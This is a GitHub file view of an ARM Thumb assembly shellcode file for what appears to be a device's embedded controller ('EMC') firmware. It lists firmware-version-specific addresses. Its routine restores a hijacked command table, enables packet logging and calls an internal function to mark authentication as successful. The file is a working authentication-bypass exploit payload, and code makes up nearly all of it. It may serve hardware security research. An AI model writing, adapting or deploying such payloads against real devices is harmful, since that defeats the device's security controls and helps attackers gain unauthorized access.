-
Notifications
You must be signed in to change notification settings - Fork 10
Expand file tree
/
Copy pathemc_shellcode.S
More file actions
59 lines (49 loc) · 1.5 KB
/
emc_shellcode.S
File metadata and controls
59 lines (49 loc) · 1.5 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
@ arm-none-eabi-as -o emc_shellcode emc_shellcode.S
@ arm-none-eabi-objcopy -O binary emc_shellcode
@ TODO autogenerate at build time? 8)
.syntax unified
.arch armv7-m
.thumb
// E1E 0001 0000 0004 13d0
//.equ shellcode_addr, 0x1762E8 + 0xc * 2
//.equ auth_status_set, 0x120F94|1
//.equ ucmd_cmds_0, 0x157600
//.equ ucmd_iface_0_cmd_table, 0x173F68 + 0x78
//.equ hcmd_log_flag, 0x175724
// E1E 0001 0002 0003 1580
//.equ shellcode_addr, 0x17DE38 + 0xc * 2
//.equ auth_status_set, 0x122830|1
//.equ ucmd_cmds_0, 0x15A330
//.equ ucmd_iface_0_cmd_table, 0x17A674 + 0x78
//.equ hcmd_log_flag, 0x17D240
// E1E 0001 0004 0002 1752
//.equ shellcode_addr, 0x184D9C + 0xc * 2
//.equ auth_status_set, 0x124308|1
//.equ ucmd_cmds_0, 0x15D37C
//.equ ucmd_iface_0_cmd_table, 0x181148 + 0x78
//.equ hcmd_log_flag, 0x183F14
// E1E 0001 0008 0002 1B03
//.equ shellcode_addr, 0x19261C + 0xc * 2
.equ auth_status_set, 0x1279BC|1
.equ ucmd_cmds_0, 0x165AE8
.equ ucmd_iface_0_cmd_table, 0x18E218 + 0x78
.equ hcmd_log_flag, 0x191730
@.org shellcode_addr
push {lr}
@ restore cmd_table
movw r0, #:lower16:ucmd_cmds_0
movt r0, #:upper16:ucmd_cmds_0
movw r1, #:lower16:ucmd_iface_0_cmd_table
movt r1, #:upper16:ucmd_iface_0_cmd_table
str r0, [r1]
movs r0, #1
@ enable spew of hcmd packet data
@ this isn't really needed
movw r1, #:lower16:hcmd_log_flag
movt r1, #:upper16:hcmd_log_flag
str r0, [r1]
@ set auth success
movw r1, #:lower16:auth_status_set
movt r1, #:upper16:auth_status_set
blx r1
pop {pc}